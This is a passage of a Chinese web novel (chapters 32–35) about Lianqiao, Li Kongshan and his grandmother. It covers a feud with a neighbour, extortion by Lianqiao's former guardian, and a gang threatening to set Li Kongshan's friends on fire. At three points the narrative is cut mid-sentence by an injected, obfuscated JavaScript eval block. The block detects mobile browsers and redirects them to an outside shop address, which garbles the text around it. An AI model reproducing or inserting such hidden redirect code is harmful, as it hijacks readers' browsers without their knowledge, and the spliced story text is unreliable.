他端手倚靠墙边,盯着这扇还未打开的门,“奶奶,你要是不骂我,我就立马给你开门。” 奶奶“哼”一声,身子骨看上去还算健朗,说话的声音也格外有力道,“你想得倒美,我今天来找你,就是特地来教训你的!” “那我不开门了,奶奶,我想起来我的觉还没睡完呢,我先继续去睡觉了啊。” 他轻蔑又无所谓地转头就走。 一副谁也奈何不了他的模样。 老太太在外面站着,用手指了指门,放低声音,“好哇你个臭小子。” 她眼中闪过一道光,斜睨着眼睛,“非要逼我使出杀手锏是吧。” 五分钟过去了。 门外鸦雀无声。 李空山说是那么说,可心里终究还是放不下,他凑到门边去听外面的动静,正奇怪外面怎么没声。 按奶奶的性子,她是绝对不可能如此轻易就罢休的人。 忽然,门外传来一声惊呼。 这声音是由楼上的林婶发出来的,她手上提着的果子轰隆落地,顺着楼梯滚下去发出连续不断的声响 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13165889|138842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “李大姐!你怎么了!快醒醒啊!” 林婶蹲下身,慌张不已,紧张地查看老太太的状况,唤老太太的名字。 “奶奶?” 李空山愣住,当即推开门冲向门外,只见老太太正躺在林婶的怀里,闭着眼睛一动不动。 他现在是真的慌了,跑到老太太身边蹲下,“奶奶,你怎么了!” 二话不说,李空山当即掏出手机准备打救护车的电话。 下一秒,躺在林婶怀里的老太太睁开一只眼睛,按住李空山准备拨打电话的手,笑嘻嘻地看着李空山:“你奶奶好着呢,臭小子,你别以为你有多大的能耐,你看老婆子我还不是把你给弄出来了?” 李空山哑然,无奈地望着她:“……” 进到屋内,老太太端起李空山给她倒好的水,喝了一大口,解释说:“我还不是想让你老老实实给我开门。当时我还以为连翘回来了呢,想着我上演一出苦肉计,正好逼你出来见她。” 李空山把老太太一向最爱吃的薏米糕放到她面前,于桌子对面坐下。 “是,那些肥皂剧真是没少把你毒害,一天天的,你真把你当和事佬了啊?” 老太太歪头,斜睨着他:“瞧瞧,你把你奶奶想成什么了?” 李空山端着手靠在床边,窗外清风不仅带来一阵凉意,还带来了院子中央合欢树不浓不腻的淡淡清香。 他漫不经心开口说:“我看你到我这儿来,不止是劝架这么简单吧?” 老太太肯定地点点头,望着李空山,一脸骄傲:“不愧是我孙子,脑子真好使。” 她四处张望,寻觅着某个人的身影。 李空山问:“你找谁?” 老太太刚想开口,门被打开,放学回来的连翘出现在几人视线中,女孩见屋内出现奶奶的身影,一脸惊喜,情不自禁扬起嘴角:“奶奶,你来啦。” 她迫不及待朝她跑去。 “哎哟,连翘,你回来得刚好!”老太太见了连翘,笑得更加灿烂,合不拢嘴。 两人在那里一顿寒暄,仿佛分别了很久一般,恨不得把方方面面全问一遍。 李空山靠在窗边,皱眉,一脸鄙夷地盯着两人,敢情他现在成了多余的那个? 老太太从背篼里提起满满一袋的橘子、玉米、青菜、花生,放到桌面,“呐,孩子,你看,这些都是老婆子我自个儿种的,说不上多么贵重,但至少新鲜、健康,你可别嫌弃啊。” 连翘急忙道谢:“奶奶!我肯定不会嫌弃!”她笑着,抬眸回应老太太的目光,笑容恬淡:“奶奶给的就是最好的!” “好好好。” 老太太偏头盯着李空山:“臭小子,你出去一下,我有话要和连翘说。” “我?” 李空山无辜地指着自己,鄙夷道:“不是,我这人就这么碍你俩眼啊?” 老太太仰起头,摆出庄严的气势,“我数三声,你要是不照做的话,我就把我每天吃的所有的药都停了!” 李空山:“……” 他欲言又止,随手拿起钥匙,往门口走去,“行,算你们有本事。” 连翘看了眼被李空山关上的门,回头注视着老太太,声音平和,句句有耐心:“奶奶,你把李空山叫出去,到底是有什么事要和我说呀?” 32. 第 32 章 老太太走到窗边停下,向下眺望,确认李空山正站在合欢树下等,而不是在门外偷听两人对话,这才放心地重新坐回去。 她关切地握住连翘的手,和蔼说道:“孩子,李空山这臭小子要是惹你生气了或者有做的不对的地方,你可千万别往心里去,也千万别忍着自个儿受委屈,你找奶奶,奶奶来帮你教训他。这小子,我从小看着他长大,别的不说,他那嘴啊是相当硬啊,就算是他做错了,也从来没见他主动低头服软过。” “虽然这小子说的话啊,做的事啦,有时候执拗得挺让人无奈,但是他心不坏呐。这不,老婆子我听说你俩闹矛盾了,就赶紧过来看看,生怕你们俩彻底不理对方咯。” 老太太笑了笑,目光柔和不少,望向窗边,“不过现在看来,是我担心过头了。你俩好好的就行。” 她轻轻拍拍连翘的手,感慨良多。 连翘浅浅笑着,注视老太太,目光同样柔和:“没事的奶奶,我和李空山好好的,是我们让你操心了。” “哎,哪里的话。”老太太笑着凑到连翘面前,一脸八卦,“孩子,那臭小子被我支出去了,现在这里没有外人,你老实告诉奶奶,你对这小子到底是什么感觉?” 连翘懵懵地抬头,火烧脸颊,霎时间滚烫不已,“奶奶……什……什么感觉?” 老太太热情洋溢,活跃跳脱得像个孩子,“就是——你喜不喜欢他呀?” 连翘有些害羞:“奶奶你……怎么突然问这个?” “那我还不是想知道你们年轻人怎么想的。”老太太依旧轻轻地握住连翘的手,让她倍感温暖、安心。 “孩子,别慌,我就是随便问问,你要是不想直说也没关系。不过呐——”她又笑着凑到连翘耳边,乐呵呵开口:“我知道那小子对你肯定不简单,看你的眼神有多不一样,我都懂。” 老太太起身,说乡下家里还有别的事情,就不在这里打扰他们两个人了,连翘想留都留不住。 临走的时候,连翘问老太太愿不愿意搬来镇上和他们一起住,毕竟奶奶年纪大了,一个人在乡下的确不让人放心。 老太太想都不想,直接否决:“不来不来,乡下的空气好太多了,老婆子我就喜欢住乡下。以前那小子也劝过我无数次,我从来就没考虑过。” 她安抚连翘:“没关系,奶奶我身体硬朗着呢,大不了你们多回来看看我就是了。” 既然劝不了奶奶搬来镇上一起住,连翘说什么也要送奶奶回去。 合欢树下,李空山看着连翘挽着老太太手臂往外走,冷不丁开口问:“喂,你俩去哪儿?” 他寻思,这两人还真是不把他当人看了?在他面前经过,连招呼也不打一声? 俩人自顾自在那儿聊天,有说有笑。 连翘轻轻勾勒起嘴角,停下来对李空山说:“奶奶要回去了,我送她。” “这就回去了?” 李空山两手放在衣服兜里,漫不经心走到老太太面前:“奶奶,我说你也走得太快了吧,晚饭都不吃就走啊。” 老太太心高气傲:“咋的?你还能管你奶奶了不成?” 李空山僵硬一笑,心里再不服也只能忍着,拔高语调,扬长声音,“哎哟,那自然是不敢的。” …… 玉米杆长得比人还高,立在乡间鹅卵石路面的两侧,一栋栋低矮瓦房拔地而起,晾在院坝里的棉麻衣裳随风飘扬。 衣裳皱皱巴巴的,有的衣裳背后还烂了一个洞。 太阳的余晖撒在地面,屋檐下阴阳线分界清晰可见,随着时间的推移慢慢挪动。 空气中弥漫着夏日的燥热和农作物成熟的味道。 连翘望着沿路紧锁的房子,心中充满疑惑,问:“奶奶,这些房子看上去很久没人住过了,这里的人呢?” “都出去了,去外面了。” 老太太笑着,平和解释,“外面的世界更大更好,他们陆陆续续都走了,这里没几户人,大多数都是老年人,你要是看到这儿有几个像你这么大的年轻人啊,那简直是太阳打西边出来了。” “都走了啊……”连翘回头看了眼积满灰尘的门锁,似有心事,许是联想到了自己。 前面是一块小坡,连翘挽住老太太的手,说:“奶奶,你慢点儿走,我扶着你。” “好好好。” 老太太慈爱地看着连翘,打从第一眼见到她,她就格外喜爱这个懂事乖巧的女孩。 “奶奶!当心!” 一户人家院子外种着的仙人掌疯狂生长,向外蔓延,犹如一棵树,支在半空中,叶片上锋利的锐刺清晰可见,若不是连翘及时拉住低头走路的老太太,这锐刺差点就刺进她的额头。 不过心急的连翘当时还是不由自主伸出手去护住,仙人掌的锐刺距离她的手背仅有一厘米。 “哎哟……”老太太担心不已,拉下连翘的手仔细打量,“还好没伤着,要是真伤着了,老婆子我真是良心不安呐。” “奶奶,没这么严重。”连翘安抚她:“就是一仙人掌而已,就算真扎着了,也不严重,取出来就行,倒是你,可不能受这些。” 老太太眼里满是心疼,她气愤转身,说什么也要去找这家人理论一番。 院子里的朱红色木门被人从里面推开,走出来一个约莫五十岁左右的妇人,她端着水,哪怕注意到院子外有人,依旧抬起头望天,目中无人。 “让让啊,别不长眼睛。” 走到打开的栅栏边,她将盆子里的水用力往前一倒,若不是连翘拉着老太太退得及时,这水就全洒在她们二人身上了。 连翘气愤望着她:“你干什么,没看见这里有人吗?” “看见了啊。” 妇人用右手手指勾住空空如也的盆子,若无其事:“我不是说了让开点吗,是你们自己不长眼睛。” “你!”连翘更加气愤。 老太太撇嘴走到连翘面前,护住她:“徐老妇,我说你真是不要脸,连个孩子也欺负,你好意思吗你!” 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妇人被揭短,直接黑了脸,不耐烦地看着老太太身后的连翘:“你孙子就是个祸患!败类!这个女的就是个贱人!小小年纪不学好,跟着一个男的鬼混,不要脸!下贱!搞不好哪天真整出一个孩子来!” “你才不要脸!” 听到这妇人如此诋毁连翘,老太太的愤怒直接达到峰值。 换做别人,她可以再忍一忍,可是妇人骂到了连翘头上——这个无论风雨,总不辞艰辛走路到乡下来看她的女孩。 老太太忍不了。 她直接走上前去,夺走妇人手里勾住的盆子,一手给她盖脑壳上,又用力推了她一把,愤怒反骂道:“你个神经病!不长眼睛,心是黑的,看什么都是黑的,我诅咒你一辈子都抱不到孙子孙女儿!” 妇人步子踉跄,退了几步才站稳,她愤怒地去取下头上盖着的盆儿,想反推老太太一把。 一直低着头,垂下目光,连翘面不改色,她目光平静地注视着斜对面支到路上的仙人掌,心中有了主意。 妇人走来,欲推老太太。 连翘走上前,挡在两人中间,浅浅笑着,扬起一抹笑,“阿姨,你何必跟我们一般见识。” 妇人气未消,把连翘推搡到一边,准备去推老太太。 可谁知,她在触碰到连翘手臂的那一瞬间,仙人掌的刺也直接扎进她的手掌心里。 这是连翘早已准备好的,待她一出手,就放在手臂上的。 妇人吃痛,退了回去,咬牙切齿,“你个恶毒的贱女人!” 连翘不理睬,走回去,继续心平气和地挽住老太太手臂,笑着说:“奶奶,我们回去吧。” 老太太应声,目光和蔼,“好。” 连翘回头,看着打量被扎了手的妇人,语调寡淡:“谁让你家仙人掌长路上了也不修剪一下,伤了路人怎么办?这是你应得的。” 那一刻,妇人猛然醒悟,这个看似柔柔弱弱、不爱说话的女孩其实一直都在伪装。 狠毒,才是她的真面目。 33. 第 33 章 连翘把奶奶安全送到家里以后,就准备回去了。 夜幕降临,染红半边天的晚霞渐渐散去,群山巍峨雄伟,蝉鸣声不绝于耳。 晚风拂过池塘,掠过连翘的脸颊。 她仰头望着振翅高飞的鸽子,不禁想起自己也有一个类似远走高飞的梦想。 再次低头时,她看见从蜿蜒的小路开来的摩托车在她面前停下。 伴随着轰鸣声,李空山取下头盔,笑容热烈:“怎样,没想到我回来吧,惊不惊喜?意不意外?” “倒还真有点儿意外。”连翘走到摩托车旁停下,“你怎么来了?” 李空山解释:“天都黑了,还不是担心你一个人回来不安全。行了。” 他拍拍后座,“赶紧上来吧,哥带你兜风儿去。” 连翘点头,踩着脚板,坐上摩托车后座。 这是李空山平日里最喜欢的一辆摩托,哪怕很多年了,期间也因磕到碰到修过几次,但李空山还是对这辆摩托爱不释手。 若问他问什么,他便说,这“小旋风”牌摩托最威风,和他这人的气度最相称。 摩托车的车身是黑色的,车头和车尾分别以银灰色外壳点缀,轮廓整体向前倾,奔驰在山间蜿蜒小路时,如疾风,似闪电。 发车前,连翘两只手拽住李空山后面的衣角,说:“我坐好了。” 他注意到了,伸出手,把她的两只手手拽到前面来,环住自己的腰。 身后的女孩愣了愣,没反应过来怎么回事。 他眨了下眼,漫不经心说:“别想多了啊,我就是顾及到等会儿开得快,这样安全点。” “哦……” 她侧着头,左脸贴住少年坚实有力的后背,环住他腰身的两只手变得莫名滚烫。 心不自觉跳得很快的不止他,还有她。 女孩的话音刚落,李空山就发动摩托,车子像猎狗一般迅疾冲出去。 晚风拂过两人的脸颊,却怎么也降不下女孩滚烫脸颊的温度。 两侧群山巍峨,连绵不断,翻过这座山,又是另一座山,苍翠林木已成黛色,为这黑夜的寂寥增添点缀之美,这不是拼图碎片,而是夜色的连环画。 连翘缓缓侧回头,目光停留在眼前这个嘴角轻轻扬起的少年身上。 他的背影总是给人一种安心感,棱角总是无法轻易被岁月磨平,侧脸总是那样好看迷人。 他的目光触及远方,悄悄地,承载着与她有关的过往。 连翘看得出神,回过神来时,两人已经到站了。 莫名的遗憾和难过悄悄席卷她,如石中裂缝,如干涸草原。 纵然眼下美好万般,但这趟旅程终于到站的那一天,是吗? 李空山把摩托停在距离居民楼不远的一个十字路口,下车看了眼斜前方的小超市:“家里没牛奶了,我进去给你买点儿,你在这儿等我,别乱走,我很久就出来。” “好,你去吧。” 连翘点点头,轻抿嘴角,递给李空山一个安心的笑。 他看着她,又忍不住多看了几眼,不自觉笑了下,转身拐进超市里。 连翘坐在外面的红漆长椅上等,超市外面有一块很大的空地,每到夜里,这里便有不少中年妇人围在一起跳广场舞。 最开始的时候,这里只有几个人,后来广场舞队伍慢慢扩大,甚至连脑子不太正常的“憨二”也跑到这里和众多妇女一起跳。 欢快的音乐冲上云霄,向外扩散,充斥整个清流镇。 小镇上的人倒不会觉得这样扰民,毕竟这里是小镇,没有城市文明规则的约束,没有彻夜点灯忙忙碌碌的高楼大厦,也没有永远必须加快的脚步,住在这里的人就图个生活气和热闹劲。 刚在长椅上坐下没多久,连翘突然感到肚子不舒服,她起身寻觅,跑进一家面馆问有没有厕所。 面馆的老板指了下后门,“从这儿出去,右手边就是。” “好,谢谢。”连翘立即朝此处走去。 刚一走出后门,还没拐弯,一只肥硕的手便将她拉到一边的巷子口去。 田永贵露出他那张满脸流油的脸,头发乱糟糟的,看上去这些日子过得挺邋遢。 他两手掐住连翘的脖子,把她按在墙上,“死丫头,日子过得挺舒畅,连是谁把你养大的都忘了是吧。” 虽被扼住脖子,呼吸困难,但连翘哑着嗓子也要艰难开口说话。 她盯着田永贵,恐惧和憎恶同时涌上心头。 “你不是离开清流镇了?怎么回来了?” 田永贵往地上吐了下口水,咧着嘴,不屑地盯着连翘:“咋的,你不想看到我回来是吧?害怕我让你现在拥有的一切又烟消云散是吧?臭妮子,你别以为你傍上李空山,我就不敢拿你怎样!” “是吗?那你敢拿我怎样?”连翘直接问。 这几日,田永贵早就打好了如意算盘,等着找机会逮住连翘,恰好今天在这周围转悠,碰见李空山接连翘回来。 在此之前,他戴着一顶黑帽子和黑口罩,把自己遮得严严实实,为的就是不让别人认出自己。 毕竟,这清流镇上到处散布着李空山的人。 田永贵恶劣笑了下。 “我欠了别人点儿钱,还差十万,你去李空山,帮我要十万块钱,不准让他知道是我让你去的。” “又欠钱?” 连翘轻蔑一笑,话里话外全是讽刺,“田永贵,我说你这个人还真是狗改不了吃屎啊,上次都差点被李空山的人剁手指头了,你还敢出去赌?” “啪”的一声,田永贵重重地扇了连翘一巴掌,女孩的脸上火辣辣的,不一会儿便出现了一个巴掌印。 田永贵咬牙切齿盯着她:“我看你真是长能耐了是吧,居然敢这样说我!别以为你背后有李空山撑腰,我就不敢拿你怎样!大不了我先把你打死,再让他们打死我。” 话音刚落,他便掏出放在衣服兜里的刀,恶狠狠地指着连翘。 她看着眼前近在咫尺的反着光的水果刀,丝毫不害怕。 “你以为威胁我,我就会怕了?就会按你说的去做?做梦。” 她直勾勾盯着眼前的刀,不急不忙说:“对了,李空山去买东西,这个时候估摸着应该出来了,如果他没看见我,肯定会到处去找我,你还要强行把我留在这儿?” 田永贵“呸”了一声,目中无人,“你以为你是谁啊?连翘,你好好看看自己,你既不是天仙下凡的绝世美人,又不是家境优渥钱财万贯的千金小姐,李空山是眼瞎了还是咋的,这辈子就一门心思栽在你身上了?” 田永贵用刀柄戳了戳她的肩膀,拉长声音,“省省心吧,他现在重视你,对你好,不代表一辈子都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13165891|138842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对你这样。你是个聪明人,我要是你,早就趁着他新鲜感还没散去的时候,多在他身上捞点儿钱走人。” 田永贵抬了下头,继续说:“怎么样,我说的不是没道理吧?按我说的做,去找李空山要点儿钱,剩下的你自己带着跑,多好。” 连翘冲他扬起一个淡淡的笑容,但话语去如此冰凉,没有一点温度,恰如她淡漠没温度的眼神。 “——做、梦。” 田永贵的耐心没有了,气急败坏,揪住连翘的衣领:“臭丫头!我给你两天时间好好考虑你到底要不要帮我。我可把话说在前头,你要是想知道当年拐卖你、把你送到清流镇来的那批人的线索,你就好好和我合作!” 连翘警觉地抬起目光,着急反问:“你不是说你是找中间人把我买回来的,那个中间人早就被车撞死了?” “那是我糊弄你的。”田永贵松开揪住连翘的衣领,“跟我直接对接的,就是拐卖团伙里的人。” 连翘笑笑,低下头,垂下目光:“你说的这些,真真假假还有待考量,再说了——” 她抬起头,目光冰冷得如一把裹满冰霜的利刃,“我早就不关心我是怎么来的,也不关心我的家在哪里,我——只关心我自己。” 巷子外不断传来李空山呼喊连翘的声音。 田永贵把目光从巷子口挪开,回到连翘身上,“你最好考虑清楚,不然,我甚至可以把当初他们上门要债之前,你设局打听他、跟踪他、调查他的所有事,全告诉李空山,到时候他还会不会像现在一样对你,那可就说不定了。” 田永贵收手,重新戴上黑色帽子和口罩,左右各看了一眼,快步离去,消失在这纵横交错的巷子里。 连翘的目光久久停留在前方的一片角落里,她把手从红砖墙上拿来,转身走出面馆。 马路两侧路灯亮起,行人迈着闲适的步子悠然散步,林立的各种店铺、摊子皆打着老旧的招牌。 连翘挥手,朝李空山跑过去:“我在这儿。” 李空山见到她,率先匆匆跑到她面前,两手握着她的肩,眉眼急切,满是担忧。 “你跑哪儿去了,我不是让你在外面等我吗?你知不知道我刚刚没看到你,有多着急?” 少年声音激亢,握住她肩的手格外用力,话语里同样带着愤怒的情绪。 “我没事。”连翘微仰头,看着他解释:“我刚刚就是肚子不舒服,去面馆里借用了下洗手间。” 他的情绪渐渐平稳,见到她没事,也安心不少,“但你至少也得跟我说一声知不知道?下次不准再这样了,不然我会担心你!我刚才差点就报警了。” 连翘从容淡然,笑了下:“没这么夸张。李空山,我都已经是十八岁的人了,难道还会照看不好自己吗?” 他睫毛颤了下,眉眼里还有方才着急的痕迹,欲言又止后,他再次开口:“反正在我眼里,你就是需要被好好看护着。” “是,那承蒙你的厚爱和关照了。”她浅浅笑着,指着李空山停在马路边的摩托:“既然没什么事的话,那我们就先回家吧。” 连翘拉着他的手,欲往前走。 “等等。” 李空山绕到连翘前面停下,低下头,仔细打量,忽然,他的脸色沉了下去,声音变低,整个人的情绪如乌云过境。 “你的脖子怎么回事?” 34. 第 34 章 连翘抬头,挡住自己的脖子,笑笑说:“没什么事呀,就是被蚊子咬了包,我去挠过,所以红红的。李空山,你太大惊小怪了。” “我不信。” 他的目光直勾勾停留在连翘脖子处,弯腰低头,凑近些,更仔细地打量。 “真的没什么。” 连翘退后一步,继续解释:“我好着呢李空山,我都饿了,想吃你做的蛋炒饭,我们回去了,好不好?” 李空山挺直身子站好,两手交叉端在身前,目光若有所思地从她微微泛红的脖子处收回,“真想?” “当然是真想!” “还算你有眼光,知道我做的蛋炒饭天下第一好吃。走吧,我带你回去,做给你吃。” 他往前走,向身后的女孩伸出手臂。 女孩向前一步,欣喜地挽住他的胳膊,喜悦之情溢于言表,“好呀好呀,那我们快走吧。” - 十字路口店铺林立,其中就有不少的小饭馆,卖炒菜的、卖烧烤的、卖啤酒的,应有尽有。 路口东南方向,一家炒菜馆里,赵旭摩喝了一口酒,往嘴里扔煎过的花生米,“哎”了一声,问桌对面的宇瑞,“你也算是跟李空山混过一段时间,他这个人真的跟你们说的一样,贴面心肠,无情无义,没有软肋?” 宇瑞端起透明玻璃小酒杯,嘬了一口酒,回答他:“反正在我看来,没有。” “我不信。” 赵旭摩指着对角上面对面而站的两个人,“软肋不是明摆着吗,就那女的,李空山上次还因为她跟我大干一架,她要不是李空山软肋,老子不信赵!” 宇瑞神色没有多大波澜,端起啤酒,又往酒杯里倒满,“那你就不信赵吧。” “李空山这个人自始自终都是彻彻底底的利己主义者,仗着黑武会黑悬对他的器重,说风就是风,说雨就是雨,压着手底下的人做事,谁要敢不从,他的手段……” 宇瑞抬起目光盯着赵旭摩:“比你想象得还要狠。那天你打你那样子,就是点儿皮毛,不值一提。” 赵旭摩不屑地“切”一声,愤慨地拍桌,暴脾气还是不减从前。 “我管他手段狠不狠?反正我一定要弄死这小子!既然你现在选择跟我做事,也对我表示了诚意,那我交代你帮我办点儿事情,你必须去照做。” 宇瑞没有把任何情绪写在脸上,抬头望着他:“什么事?” 赵旭摩凑近些,在宇瑞耳边低语。 “我跟你说,到时候先这样……” - 周五放学,连翘走在路上,却被几个人突然拽进巷子里。 其中有两人,她相当熟悉。 “宇瑞,还真是你。” 连翘把目光移至他身旁站着的赵旭摩身上,又继续说:“论没脸没皮,我还真就最佩服你,别人手底下的人,你也要拉来用,还真是病急乱投医,饥不择食啊,你到底是多缺人?” 赵旭摩把玩着手里的打火机,不急不忙说:“说,你尽管继续说,你别以为说几句激怒我的话,我就会亲自动手。” 他看向身旁的宇瑞以及早嘱咐他准备好、正拿在手里的刀,笑笑说:“怎样,宇瑞,你敢不敢动手?毕竟这人是你曾经跟的主子的心上人,不过没关系,他现在已经不是你主子了。我才是。为表达诚心,你是不是该做点儿什么?” 赵旭摩这人害怕落了把柄,以后李空山又来找他麻烦,不敢自己动手,便威胁宇瑞。 连翘笑了下,不屑一顾,“要动手就赶紧动手呗,省得我等得心急。” 宇瑞愣了下,错愕地抬头望着她:“你到底想做什么?” 连翘倒也不欺瞒,实话实说:“很简单啊。你想,反正我现在也逃不掉了,有功夫在这儿耍嘴皮子功夫想主意,还不如接受现实,束手就擒,换个角度想,你们要真对我动手,于我而言,也不是一件坏事。” 宇瑞的眼神中满是疑虑。 一旁站着把玩打火机的赵旭摩也好奇地看向她。 “什么意思?”宇瑞问。 “还能是什么意思。” 连翘回答得云淡风轻,仿佛置身事外,“你们对我动手,李空山到时候肯定更心疼我,对我愧疚也好,难过抑或是愤怒也罢,反正我在他心里的位置能更重要一些,不是吗?” 宇瑞怔住,赵旭摩笑着走上前来,“我以前怎么就没看出来啊,你这女的,真是心机深沉。以前我还以为李空山是个诡计多端的人,现在看来,他才是最好骗的那个。偏偏还就着了你的道。” 连翘轻轻一笑:“多谢,不过夸奖的话就不必了。” 注意到宇瑞的注意力有些不集中,连翘眉眼一紧,从身后挟制自己肩臂的两人手中挣脱,手贴着宇瑞手里的刀,从下往上一划。 “你干什么!” 好在宇瑞反应迅速,及时把刀子拿到身后,这才没让连翘的手划伤得很严重。 只是一道小伤口,血在往外冒,流淌过小手臂,不过好在不算多。 赵旭摩按下宇瑞手里的刀子,不屑说:“行了,别跟她在这儿磨叽,让兄弟们把她带过去,咱们的好戏还在后头。” 宇瑞回答:“好。” 连翘的脸色沉了下来。 好戏还在后头?他们什么意思? 她突然有种不祥的预感。 - 奶奶的药用完了,镇上买不到,只能去市区里买。 因此李空山今天不在。 赵旭摩和宇瑞联和好,特地算好日子,选择在今天行动。 连翘被一块黑布蒙着眼睛,两只手被捆起来,下了灰色面包车以后,就被人一路推搡着往前走。 许是到了地方,这些人不再推她往前走了。 耳边传来鸟雀的清脆鸣叫声和溪流汇入河道的潺潺流水声,她想,看来这里应该出了镇。 不过算算车程和走路的时间,并不算太久,这里应是清流镇附近的一个地方。 眼前的黑布被人取下。 连翘别开眼,缓了一会儿,才适应室外刺眼的白光。 在她眼前的是一栋修到一半还没修完的烂尾楼,楼边铺着一堆鹅卵石和一堆泥沙,前几日下过雨,泥沙被冲刷得到处都是。 划开一道口子的河沙蛇皮袋旁放着一把铁锹。 光秃秃的三层烂尾楼后面是一座被劈了一半的小山坡,坡上林木密布,为地面杂草遮蔽所有阳光。 “你们带我来这里做什么?”连翘看着走在最前面的宇瑞和赵旭摩。 赵旭摩回头,悠哉道:“别急嘛,带你看点儿精彩的东西。” 他使了个眼神,连翘后面的人便再次推搡她往前走。 几人沿着没有护栏的楼梯往上,走入烂尾楼中。 她观察着周围的环境,处处小心。 “小海!楼巩!许弋刚!孟河!你们怎么都在这儿!” 走出楼梯往最近的房间走,连翘忽然急了,跑了过去。 赵旭摩开口,命人把连翘抓住。 他走在前面,带着人往中央走去,自打来到这里,嘴角那不厚道的笑从未消停过。 只见幽暗的毛胚房大堂里,小海、楼巩、许弋刚、孟河以及其他李空山的人,全被捆住了手,被人按住脑袋,抵在护栏上,个个脸上都有伤,看上去应是才经历过一场恶战。 只要他们身后按住他们脑袋的人稍稍一动手,他们就能从栏杆处直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13165892|138842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接被推下去,这里虽然不高,即便摔不死,但也能落个残疾。 几人盯着红肿的眼睛,流着鼻血,抬起目光看向朝这边走来的赵旭摩和被绑来的连翘,原本没力气挣脱的他们忽然再次挣脱起来。 楼巩骇然:“连翘妹子,你怎么在这儿,你赶紧想办法走啊!” 小海盯着赵旭摩“呸”了一声,骂道:“tm的赵旭摩你个孬种!用计把我们骗到这里来就算了,绑连翘过来算什么本事!啊?” 赵旭摩走到离他们不远的地方停下,欣慰不已,“哟,咋的,一个个的都急了是吧?” 他哈哈大笑起来:“我知道,你们肯定是怕李空山回来以后,知道这小妮子出了问题,要找你们的麻烦,我说的没错吧?别急别急,在她有麻烦之前,先有麻烦的是你们。” 赵旭摩挥挥手,早已在房中等候多时的几个男子便提着几桶油走了出来,在赵旭摩的眼神示意下,他们分别一人站一人身后,举起手中油桶,朝小海和楼巩等人身上倒下去。 赵旭摩笑得很开心。 “你个混蛋!你要干什么!” 连翘预感不妙,奋力挣脱,但身后的两个男人力气实在太大,把他的肩膀按得死死的。 就算她使尽回身解数,也只能勉强往前挪动一两步。 “你说我能干什么?” 赵旭摩张开双手,转身,撇着嘴,无所谓地看着连翘:“当然是报复李空山啊。他上次差点儿把我打死,你说我能咽下这口气?” 他又再次咧嘴乐呵呵笑起来:“我倒要看看,你们这些所谓李空山的兄弟、朋友、心上人,对他到底有几分真,几分假。” 赵旭摩吱声唤宇瑞:“该你了,找我说的办。” “明白。” 宇瑞提脚走到被按住脑袋的几人身后。 他拿出打火机,在半空中按动一下,红蓝色的焰火随机在空中跳动。 他从左到右看了眼李空山平日里来往最密切的这些人,不说有多少,但八九个也是有的。 可有这么多人,李空山偏偏就是不肯拿他当兄弟。明明他已经像条狗一样天天围着他转了,但李空山的眼里就是没有他。 宇瑞只觉讽刺,既然李空山看不起他,那他另择他主也没什么错。 他笑了下,说:“其实今天你们想活命很简单,只要你们挨个亲口说李空山是混蛋,是垃圾,连畜牲都不如,我们今天就可以放了你们,不然……” 宇瑞再次按下打火机,大指姆抵住开关不松开,“不然的话,我们就把火往你们身上引,再把你们从这三楼推下去,你们用自己的肉身给大家表演一个空中火人,怎么样?” 他的声音冰凉又阴森,嘴角的笑饱满对昔日的自己的讽刺。 “宇瑞!你们疯了!给我住手!” 连翘没有放弃,还在挣扎,她的手被反捆在身后,用所有的力气往前冲,想要去拦下。 可是每一次刚迈出去一点点距离,她就又被身后的人拽回去。 她的心跳得非常快,慌乱不已,他们可全都是李空山珍视的人啊…… 连翘憎恶地盯着一旁的赵旭摩:“你个疯子,你到底想干什么!” “疯子?你说我是疯子?” 赵旭摩就像听到什么好玩的事情一般,把手放在左耳边,挪了过去,“来来来,你再说一遍,你说什么,说我是疯子?” “哈哈哈哈哈——” 他突然大笑起来,像个精神失常的人,瞪大眼睛,却又笑着看向连翘,“可你知不知道,这些全是李空山以前玩剩下的啊?第一次给我表演空中火人的,可是他李空山!他当初这样对我的人,肯定没想到有一天他的人能落我手里,哈哈哈。” 35. 第 35 章 “还愣着干什么!” 见李空山手下的这些人情绪都有些不对劲,赵旭摩急了,大声喊道:“给我收拾他们,点火!点火啊!” 宇瑞不言,连翘的这些话倒是提醒了他点儿什么。 他蓦然想起从前和自己的老父亲打电话的时候,他总在电话里提起“朋友交得好,要多感谢他们”之类的话。 以前他不明白为什么,只觉得唠叨烦躁。 但是现在他却有所迟疑。 是他忽略了什么吗? 赵旭摩见宇瑞不为所动,像是在想事情想得出神,直接走过去,从他手里抢走打火机。 红蓝色跳动的火焰映照下,他真是像个疯子。 